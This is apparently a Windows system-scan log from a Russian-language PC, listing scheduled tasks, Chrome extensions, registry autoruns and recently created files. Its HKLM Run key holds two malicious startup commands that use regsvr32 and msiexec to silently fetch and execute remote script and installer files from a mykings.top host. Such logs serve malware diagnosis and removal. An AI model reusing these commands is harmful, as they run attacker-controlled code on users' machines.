C:\Windows\system32\tasks\Microsoft\Windows\Media Center\PeriodicScanRetry - %windir%\ehome\MCUpdate.exe -pscn 0
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\PvrRecoveryTask - %SystemRoot%\ehome\mcupdate.exe -PvrRecoveryTask
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\PvrScheduleTask - %SystemRoot%\ehome\mcupdate.exe -PvrSchedule
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\RecordingRestart - %SystemRoot%\ehome\ehrec /RestartRecording
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\RegisterSearch - %SystemRoot%\ehome\ehPrivJob.exe /DoRegisterSearch $(Arg0)
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\ReindexSearchRoot - %SystemRoot%\ehome\ehPrivJob.exe /DoReindexSearchRoot
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\SqlLiteRecoveryTask - %SystemRoot%\ehome\mcupdate.exe -SqlLiteRecoveryTask
C:\Windows\system32\tasks\Microsoft\Windows\Media Center\UpdateRecordPath - %SystemRoot%\ehome\ehPrivJob.exe /DoUpdateRecordPath $(Arg0)
C:\Windows\system32\tasks\Microsoft\Windows\Location\Notifications - %windir%\System32\LocationNotifications.exe
C:\Windows\system32\tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector - %windir%\system32\rundll32.exe dfdts.dll,DfdGetDefaultPolicyAndSMART
C:\Windows\system32\tasks\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver - %windir%\system32\DFDWiz.exe
C:\Windows\system32\tasks\Microsoft\Windows\Defrag\ScheduledDefrag - %windir%\system32\defrag.exe -c
C:\Windows\system32\tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator - %SystemRoot%\System32\wsqmcons.exe
C:\Windows\system32\tasks\Microsoft\Windows\Bluetooth\UninstallDeviceTask - BthUdTask.exe $(Arg0)
C:\Windows\system32\tasks\Microsoft\Windows\Autochk\Proxy - %windir%\system32\rundll32.exe /d acproxy.dll,PerformAutochkOperations
C:\Windows\system32\tasks\Microsoft\Windows\Application Experience\AitAgent - aitagent
C:\Windows\system32\tasks\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser - %windir%\system32\rundll32.exe aepdu.dll,AePduRunUpdate -nolegacy
C:\Windows\system32\tasks\Microsoft\Windows\Application Experience\ProgramDataUpdater - %windir%\system32\rundll32.exe aepdu.dll,AePduRunUpdate
C:\Windows\system32\tasks\Microsoft\Windows\AppID\PolicyConverter - %windir%\system32\appidpolicyconverter.exe
C:\Windows\system32\tasks\Microsoft\Windows\AppID\VerifiedPublisherCertStoreCheck - %windir%\system32\appidcertstorecheck.exe

=========Google Chrome=========

C:\Users\Администратор\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Extension aapocclcgogkmnckokdopfmhonfmgoek 1 Google Презентации 0.9
Extension afkpfjljjhhonjehpkmgonimjjgaheap 1 MusVK - Скачать музыку с Вконтакте 5.7.2
Extension ahfgeienlihckogmohjhadlkjgocpleb 1 Интернет-магазин Chrome 0.2
Extension aohghmighlieiainnegkcijnfilokake 1 Документы Google 0.9
Extension apdfllckaahabafndbhieahigkjlhalf 1 Диск Google 14.1
Extension bepbmhgboaologfdajaanbcjmnhjmhfn 0  
Extension blpcfgokakmgnkcojhhkbfbldkacnbeo 1 YouTube 4.2.8
Extension eemcgdkfndhakfknompkggombfjjjeno 1 Bookmark Manager 0.1
Extension felcaaldnbdncclmgdcncolpebgiejap 1 Google Таблицы 1.1
Extension gfdkimpbcpahaombhbimeihdjnejgicl 1 Feedback 1.0
Extension ghbmnnjooekpmoecnnnilnnbdlolhkhi 1 Google Документы офлайн 1.4
Extension gighmmpiobklfepjocnamgkkbiglidom 1 AdBlock 3.16.0
Extension kmendfapggjehodndflmmgagdbamhnfd 1 CryptoTokenExtension 0.9.46
Extension lhoahihokddepjlegpenefeaahdkojog 0 Steam Trader Helper 2.2.2.3
Extension mbacbcfdfaapbcnlnbmciiaakomhkbkb 1 friGate CDN - бесперебойный доступ к сайтам 2.1.165
Extension mfehgcgbbipciphmccgaenjidiccnmng 1 Cloud Print 0.1
Extension mfffpogegjflfpflabcdkioaeobkgjik 1 GaiaAuthExtension 0.0.1
Extension mgndgikekgjfcpckkfioiadnlibdjbkf   
Extension mhjfbmdgcfjbbpaeojofohoefgiehjai 1 Chrome PDF Viewer 1
Extension neajdppkdcdipfabeoofebfddakdcjhd 1 Google Network Speech 1.0
Extension nkeimhogjdpnpccoofpliimaahmaaome 1 Google Hangouts 1.3.4
Extension nmmhkkegccagdldgiimedpiccmgmieda 1 Платежная система Интернет-магазина Chrome 1.0.0.3
Extension pjkljhegncpnkpknbcohdijeoejaedia 1 Gmail 8.1
Extension pkedcjkdefgpdelpbcmbmeomcjbeemfm 1 Chrome Media Router 6017.605.1.4
Homepage: 
default_search_provider.search_url: 
C:\Users\Администратор\AppData\Local\Google\Chrome\User Data\Default\Preferences
Homepage: 
default_search_provider.search_url: 

======Снимок реестра ======


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope"={0633EE93-D776-472f-A0FF-E1416B8B2E3A}
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"URL"=http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC


[HKEY_LOCAL_MACHINE\SOFTWARE\wow6432node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope"={0633EE93-D776-472f-A0FF-E1416B8B2E3A}
[HKEY_LOCAL_MACHINE\SOFTWARE\wow6432node\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"URL"=http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC

[HKEY_LOCAL_MACHINE\SOFTWARE\wow6432node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0E5680D1-BF44-4929-94AF-FD30D784AD1D}]
Splashtop Connect VisualBookmark - C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STC.dll [2011-03-04 345968]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"RtHDVCpl"=C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [2011-11-18 13370472]
"start"=regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll []
"start1"=msiexec.exe /i http://js.mykings.top:280/helloworld.msi /q []
"XboxStat"=C:\Program Files\Microsoft Xbox 360 Accessories\XboxStat.exe [2009-09-30 825184]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"Steam"=G:\Program Files (x86)\Steam\steam.exe [2017-09-07 3071776]
"Discord"=C:\Users\Администратор\AppData\Local\Discord\app-0.0.298\Discord.exe [2017-08-08 57477112]
"f.lux"=C:\Users\Администратор\AppData\Local\FluxSoftware\Flux\flux.exe [2016-12-06 1024240]

[HKEY_LOCAL_MACHINE\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run]
"STCAgent"=C:\Program Files (x86)\Splashtop\Splashtop Connect IE\STCAgent.exe [2011-03-04 776064]
"ZyngaGamesAgent"=C:\Program Files (x86)\Splashtop\Splashtop Connect\ZyngaGamesAgent.exe [2010-11-15 841544]
"Lightshot"=C:\Program Files (x86)\Skillbrains\lightshot\Lightshot.exe [2017-04-11 225944]

[HKEY_LOCAL_MACHINE\system\currentcontrolset\control\securityproviders]
"SecurityProviders" = credssp.dll

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\network\AFD]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorAdmin"=0
"ConsentPromptBehaviorUser"=3
"EnableUIADesktopToggle"=0
"dontdisplaylastusername"=0
"legalnoticecaption"=
"legalnoticetext"=
"shutdownwithoutlogon"=1
"undockwithoutlogon"=1
"HideFastUserSwitching"=1

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer]
"NoResolveSearch"=1
"NoResolveTrack"=1
"DisableThumbnailsOnNetworkFolders"=1
"NoDriveTypeAutoRun"=145

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\explorer]
"NoActiveDesktop"=1
"NoActiveDesktopChanges"=1
"ForceActiveDesktopOn"=0

[HKEY_LOCAL_MACHINE\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\standardprofile\authorizedapplications\list]

[HKEY_LOCAL_MACHINE\system\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\domainprofile\authorizedapplications\list]


[HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\{8A69D345-D564-463c-AFF1-A69D9E530F96}]
"StubPath" = "C:\Program Files (x86)\Google\Chrome\Application\60.0.3112.113\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32]
"vidc.mrle"=msrle32.dll
"vidc.msvc"=msvidc32.dll
"msacm.imaadpcm"=imaadp32.acm
"msacm.msg711"=msg711.acm
"msacm.msgsm610"=msgsm32.acm
"msacm.msadpcm"=msadp32.acm
"midimapper"=midimap.dll
"wavemapper"=msacm32.drv
"vidc.uyvy"=msyuv.dll
"vidc.yuy2"=msyuv.dll
"vidc.yvyu"=msyuv.dll
"vidc.iyuv"=iyuv_32.dll
"vidc.i420"=iyuv_32.dll
"vidc.yvu9"=tsbyuv.dll
"msacm.l3acm"=C:\Windows\System32\l3codeca.acm
"wave"=wdmaud.drv
"midi"=wdmaud.drv
"mixer"=wdmaud.drv
"aux"=wdmaud.drv
"wave1"=wdmaud.drv
"midi1"=wdmaud.drv
"mixer1"=wdmaud.drv
"aux1"=wdmaud.drv

====== Ассоциации файлов ======

.js - edit - C:\Windows\System32\Notepad.exe %1
.js - open - C:\Windows\System32\WScript.exe "%1" %*

====== Список файлов и папок, созданных за последние 3 месяца ======

2017-09-16 16:05:00 ----D---- C:\Program Files (x86)\Ubisoft
2017-09-16 13:05:27 ----D---- C:\Users\Администратор\AppData\Roaming\EasyAntiCheat
2017-09-13 21:15:36 ----A---- C:\Windows\SYSWOW64\EasyAntiCheat.exe
2017-09-04 23:32:15 ----D---- C:\ProgramData\BlueStacksSetup
2017-09-04 23:31:45 ----D---- C:\Program Files (x86)\BlueStacks
2017-08-31 02:46:09 ----D---- C:\Splashtop
2017-08-20 21:30:03 ----D---- C:\Program Files\Microsoft Xbox 360 Accessories
2017-08-20 21:19:17 ----A---- C:\Windows\system32\drivers\ScpVBus.sys
2017-08-18 21:47:51 ----D---- C:\Users\Администратор\AppData\Roaming\MK10
2017-08-08 21:53:40 ----A---- C:\Windows\SYSWOW64\cudart32_65.dll
2017-08-01 03:03:13 ----D---- C:\Program Files (x86)\AMD
2017-07-27 00:10:36 ----A---- C:\Windows\system32\1.txt
2017-07-26 05:40:39 ----D---- C:\Windows\Minidump
2017-07-25 18:44:53 ----D---- C:\ProgramData\Blizzard Entertainment
2017-07-25 18:44:28 ----D---- C:\Users\Администратор\AppData\Roaming\Battle.net
2017-07-25 18:42:51 ----D---- C:\ProgramData\Battle.net
2017-07-21 20:56:07 ----D---- C:\Program Files (x86)\Skillbrains
2017-07-21 06:40:18 ----A---- C:\Windows\system32\atiumd64.dll
2017-07-21 06:40:14 ----A---- C:\Windows\system32\atiu9p64.dll
2017-07-21 06:40:06 ----A---- C:\Windows\system32\clinfo.exe
2017-07-21 06:40:02 ----A---- C:\Windows\system32\OpenCL.dll
2017-07-21 06:40:00 ----A---- C:\Windows\SYSWOW64\OpenCL.dll
2017-07-21 06:39:56 ----A---- C:\Windows\system32\GameManager64.dll
2017-07-21 06:39:52 ----A---- C:\Windows\system32\dgtrayicon.exe
2017-07-21 06:39:50 ----A---- C:\Windows\system32\detoured.dll
2017-07-21 06:39:42 ----A---- C:\Windows\system32\atitmm64.dll
2017-07-21 06:39:40 ----A---- C:\Windows\system32\atimuixx.dll
2017-07-21 06:39:38 ----A---- C:\Windows\SYSWOW64\atiglpxx.dll
2017-07-21 06:39:38 ----A---- C:\Windows\system32\drivers\atikmpag.sys
2017-07-21 06:39:38 ----A---- C:\Windows\system32\atiglpxx.dll
2017-07-21 06:39:36 ----A---- C:\Windows\SYSWOW64\atigktxx.dll
2017-07-21 06:39:30 ----A---- C:\Windows\system32\atiumd6a.dll
2017-07-21 06:39:30 ----A---- C:\Windows\system32\atiesrxx.exe
2017-07-21 06:39:28 ----A---- C:\Windows\system32\atieclxx.exe
2017-07-21 06:39:26 ----A---- C:\Windows\system32\atimpc64.dll
2017-07-21 06:39:26 ----A---- C:\Windows\system32\amdpcom64.dll
2017-07-21 06:39:24 ----A---- C:\Windows\SYSWOW64\atimpc32.dll
2017-07-21 06:39:24 ----A---- C:\Windows\SYSWOW64\amdpcom32.dll
2017-07-21 06:39:24 ----A---- C:\Windows\system32\atieah64.exe
2017-07-21 06:39:22 ----A---- C:\Windows\SYSWOW64\atieah32.exe
2017-07-21 06:39:20 ----A---- C:\Windows\system32\atidemgy.dll
2017-07-21 06:39:18 ----A---- C:\Windows\SYSWOW64\amdhcp32.dll
2017-07-21 06:39:18 ----A---- C:\Windows\system32\amdhcp64.dll
2017-07-21 06:39:16 ----A---- C:\Windows\system32\aticalrt64.dll
2017-07-21 06:39:16 ----A---- C:\Windows\system32\amdocl64.dll
2017-07-21 06:39:14 ----A---- C:\Windows\SYSWOW64\aticalrt.dll
2017-07-21 06:39:08 ----A---- C:\Windows\system32\aticaldd64.dll
2017-07-21 06:39:06 ----A---- C:\Windows\SYSWOW64\amdave32.dll
2017-07-21 06:39:06 ----A---- C:\Windows\system32\RapidFireServer64.dll
2017-07-21 06:39:06 ----A---- C:\Windows\system32\amdave64.dll
2017-07-21 06:39:04 ----A---- C:\Windows\SYSWOW64\RapidFireServer.dll
2017-07-21 06:39:04 ----A---- C:\Windows\system32\Rapidfire64.dll
2017-07-21 06:39:02 ----A---- C:\Windows\SYSWOW64\Rapidfire.dll
2017-07-21 06:39:02 ----A---- C:\Windows\SYSWOW64\aticaldd.dll
2017-07-21 06:39:00 ----A---- C:\Windows\system32\aticalcl64.dll
2017-07-21 06:38:58 ----A---- C:\Windows\SYSWOW64\mantleaxl32.dll
2017-07-21 06:38:58 ----A---- C:\Windows\SYSWOW64\aticalcl.dll
2017-07-21 06:38:58 ----A---- C:\Windows\system32\mantleaxl64.dll
2017-07-21 06:38:56 ----A---- C:\Windows\system32\mantle64.dll
2017-07-21 06:38:56 ----A---- C:\Windows\system32\atiapfxx.exe
2017-07-21 06:38:54 ----A---- C:\Windows\SYSWOW64\mantle32.dll
2017-07-21 06:38:52 ----A---- C:\Windows\SYSWOW64\atiadlxy.dll
2017-07-21 06:38:52 ----A---- C:\Windows\SYSWOW64\atiadlxx.dll
2017-07-21 06:38:52 ----A---- C:\Windows\system32\ATIODE.exe
2017-07-21 06:38:52 ----A---- C:\Windows\system32\amdocl12cl64.dll
2017-07-21 06:38:50 ----A---- C:\Windows\system32\drivers\ati2erec.dll
2017-07-21 06:38:50 ----A---- C:\Windows\system32\ATIODCLI.exe
2017-07-21 06:38:46 ----A---- C:\Windows\system32\atisamu64.dll
2017-07-21 06:38:44 ----A---- C:\Windows\SYSWOW64\atisamu32.dll
2017-07-21 06:38:36 ----A---- C:\Windows\SYSWOW64\amdocl12cl.dll
2017-07-21 06:38:30 ----A---- C:\Windows\system32\drivers\atikmdag.sys
2017-07-21 06:38:28 ----A---- C:\Windows\system32\amdgfxinfo64.dll
2017-07-21 06:38:26 ----A---- C:\Windows\SYSWOW64\amdgfxinfo32.dll
2017-07-21 06:38:24 ----A---- C:\Windows\system32\drivers\amdacpksd.sys
2017-07-21 06:38:22 ----A---- C:\Windows\system32\amdmantle64.dll
2017-07-21 06:38:20 ----A---- C:\Windows\system32\amfrt64.dll
2017-07-21 06:38:16 ----A---- C:\Windows\SYSWOW64\amfrt32.dll
2017-07-21 06:38:16 ----A---- C:\Windows\SYSWOW64\amdocl.dll
2017-07-21 06:38:16 ----A---- C:\Windows\SYSWOW64\amdmantle32.dll
2017-07-21 06:38:12 ----A---- C:\Windows\system32\amdlvr64.dll
2017-07-21 06:38:10 ----A---- C:\Windows\SYSWOW64\amdlvr32.dll
2017-07-21 06:38:08 ----A---- C:\Windows\system32\amdvlk64.dll
2017-07-21 06:38:00 ----A---- C:\Windows\SYSWOW64\amdvlk32.dll
2017-07-21 06:37:56 ----A---- C:\Windows\system32\amduve64.dll
2017-07-21 06:37:54 ----A---- C:\Windows\SYSWOW64\amduve32.dll
2017-07-21 06:37:46 ----A---- C:\Windows\system32\amdmmcl6.dll
2017-07-21 06:37:44 ----A---- C:\Windows\SYSWOW64\amdmmcl.dll
2017-07-21 06:37:42 ----A---- C:\Windows\system32\amdmcl64.dll
2017-07-21 06:37:40 ----A---- C:\Windows\SYSWOW64\amdmcl32.dll
2017-07-21 06:37:40 ----A---- C:\Windows\system32\coinst_17.30.dll
2017-07-21 06:37:16 ----A---- C:\Windows\SYSWOW64\atioglxx.dll
2017-07-18 16:44:29 ----D---- C:\ProgramData\Gaijin
2017-07-16 15:11:47 ----D---- C:\Users\Администратор\AppData\Roaming\Skype
2017-07-16 15:11:42 ----RD---- C:\Program Files (x86)\Skype
2017-07-16 15:11:38 ----D---- C:\ProgramData\Skype
2017-07-14 23:52:08 ----D---- C:\Users\Администратор\AppData\Roaming\TS3Client
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\WUDFUpdate_01009.dll
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\winusbcoinstaller2.dll
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\WdfCoInstaller01009.dll
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\usbser.sys
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\hw_usbdev.sys
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\hw_quusbnet.sys
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\hw_quusbmdm.sys
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\hw_cdcacm.sys
2017-07-13 17:31:56 ----A---- C:\Windows\system32\drivers\ew_usbccgpfilter.sys
2017-07-13 17:31:48 ----D---- C:\Program Files (x86)\HiSuite
2017-07-12 17:44:30 ----D---- C:\Users\Администратор\AppData\Roaming\Dishonored 2_Uninstall
2017-07-11 17:14:02 ----D---- C:\Windows\SYSWOW64\directx
2017-07-11 16:05:54 ----D---- C:\Users\Администратор\AppData\Roaming\discord
2017-07-10 23:49:18 ----D---- C:\ProgramData\Dishonored 2
2017-07-10 19:47:13 ----D---- C:\Windows\SYSWOW64\Wat
2017-07-10 19:47:13 ----D---- C:\Windows\system32\Wat
2017-07-10 19:34:16 ----D---- C:\ProgramData\Babylon
2017-07-10 19:34:15 ----D---- C:\Users\Администратор\AppData\Roaming\Babylon
2017-07-10 19:32:53 ----D---- C:\Users\Администратор\AppData\Roaming\BitTorrent
2017-07-10 19:12:51 ----D---- C:\Program Files\AMD
2017-07-10 18:08:27 ----D---- C:\Program Files (x86)\FinalWire
2017-07-10 16:33:49 ----SHD---- C:\Config.Msi
2017-07-10 16:27:31 ----D---- C:\Users\Администратор\AppData\Roaming\ATI
2017-07-10 16:27:31 ----D---- C:\ProgramData\ATI
2017-07-10 15:18:55 ----A---- C:\Windows\SYSWOW64\XAudio2_7.dll
2017-07-10 15:18:55 ----A---- C:\Windows\SYSWOW64\XAPOFX1_5.dll
2017-07-10 15:18:55 ----A---- C:\Windows\SYSWOW64\xactengine3_7.dll
2017-07-10 15:18:55 ----A---- C:\Windows\SYSWOW64\D3DCompiler_43.dll
2017-07-10 15:18:55 ----A---- C:\Windows\system32\XAudio2_7.dll
2017-07-10 15:18:55 ----A---- C:\Windows\system32\XAPOFX1_5.dll
2017-07-10 15:18:55 ----A---- C:\Windows\system32\xactengine3_7.dll
2017-07-10 15:18:55 ----A---- C:\Windows\system32\D3DCompiler_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\XAudio2_6.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\XAudio2_5.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\XAPOFX1_4.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\xactengine3_6.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\xactengine3_5.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\X3DAudio1_7.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\D3DX9_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\d3dx11_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\d3dx10_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\SYSWOW64\d3dcsx_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\XAudio2_6.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\XAudio2_5.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\XAPOFX1_4.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\xactengine3_6.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\xactengine3_5.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\X3DAudio1_7.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\D3DX9_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\d3dx11_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\d3dx10_43.dll
2017-07-10 15:18:54 ----A---- C:\Windows\system32\d3dcsx_43.dll
2017-07-10 15:18:53 ----A---- C:\Windows\SYSWOW64\D3DX9_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\SYSWOW64\d3dx11_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\SYSWOW64\d3dx10_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\SYSWOW64\d3dx10_41.dll
2017-07-10 15:18:53 ----A---- C:\Windows\SYSWOW64\d3dcsx_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\SYSWOW64\D3DCompiler_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\SYSWOW64\D3DCompiler_41.dll
2017-07-10 15:18:53 ----A---- C:\Windows\system32\D3DX9_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\system32\d3dx11_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\system32\d3dx10_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\system32\d3dx10_41.dll
2017-07-10 15:18:53 ----A---- C:\Windows\system32\d3dcsx_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\system32\D3DCompiler_42.dll
2017-07-10 15:18:53 ----A---- C:\Windows\system32\D3DCompiler_41.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\XAudio2_4.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\XAudio2_3.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\XAudio2_2.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\XAPOFX1_3.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\XAPOFX1_2.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\XAPOFX1_1.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\xactengine3_4.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\xactengine3_3.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\xactengine3_2.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\X3DAudio1_6.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\X3DAudio1_5.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\D3DX9_41.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\D3DX9_40.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\d3dx10_40.dll
2017-07-10 15:18:52 ----A---- C:\Windows\SYSWOW64\D3DCompiler_40.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\XAudio2_4.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\XAudio2_3.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\XAudio2_2.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\XAPOFX1_3.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\XAPOFX1_2.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\XAPOFX1_1.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\xactengine3_4.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\xactengine3_3.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\xactengine3_2.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\X3DAudio1_6.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\X3DAudio1_5.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\D3DX9_41.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\D3DX9_40.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\d3dx10_40.dll
2017-07-10 15:18:52 ----A---- C:\Windows\system32\D3DCompiler_40.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\XAudio2_1.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\XAudio2_0.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\XAPOFX1_0.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\xactengine3_1.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\X3DAudio1_4.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\D3DX9_39.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\D3DX9_38.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\d3dx10_39.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\d3dx10_38.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\D3DCompiler_39.dll
2017-07-10 15:18:51 ----A---- C:\Windows\SYSWOW64\D3DCompiler_38.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\XAudio2_1.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\XAudio2_0.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\XAPOFX1_0.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\xactengine3_1.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\X3DAudio1_4.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\D3DX9_39.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\D3DX9_38.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\d3dx10_39.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\d3dx10_38.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\D3DCompiler_39.dll
2017-07-10 15:18:51 ----A---- C:\Windows\system32\D3DCompiler_38.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\xactengine3_0.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\xactengine2_10.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\X3DAudio1_3.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\D3DX9_37.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\d3dx9_36.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\d3dx10_37.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\d3dx10_36.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\D3DCompiler_37.dll
2017-07-10 15:18:50 ----A---- C:\Windows\SYSWOW64\D3DCompiler_36.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\xactengine3_0.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\xactengine2_10.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\X3DAudio1_3.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\D3DX9_37.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\d3dx9_36.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\d3dx10_37.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\d3dx10_36.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\D3DCompiler_37.dll
2017-07-10 15:18:50 ----A---- C:\Windows\system32\D3DCompiler_36.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\xactengine2_9.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\xactengine2_8.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\X3DAudio1_2.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\d3dx9_35.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\d3dx9_34.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\d3dx10_35.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\d3dx10_34.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\D3DCompiler_35.dll
2017-07-10 15:18:49 ----A---- C:\Windows\SYSWOW64\D3DCompiler_34.dll
